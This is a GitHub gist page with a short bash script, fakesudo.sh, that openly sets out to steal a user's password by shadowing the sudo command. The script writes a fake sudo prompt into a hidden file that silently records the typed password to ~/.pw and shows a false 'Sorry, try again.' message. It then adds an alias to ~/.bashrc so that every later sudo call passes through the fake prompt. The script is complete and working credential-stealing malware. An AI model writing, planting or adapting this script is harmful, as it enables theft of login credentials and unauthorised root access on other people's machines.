Skip to content

Instantly share code, notes, and snippets.

@ksaver
Created May 15, 2019 03:42
Show Gist options
  • Save ksaver/e803e2bab68d9ffee4d2f39d2357d05e to your computer and use it in GitHub Desktop.
Save ksaver/e803e2bab68d9ffee4d2f39d2357d05e to your computer and use it in GitHub Desktop.
catch the user password by shadowing the sudo command
#!/bin/bash
#
# fakesudo.sh
# catch the user password by shadowing the sudo command
cat << EOF > ~/.sudo
echo -n "[sudo] password for \$USER: "
read -s PASSWORD
echo "\$USER:\$PASSWORD" >> ~/.pw
sleep 0.5
echo -e "\nSorry, try again."
EOF
echo 'alias sudo="bash ~/.sudo; sudo"' >> ~/.bashrc
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment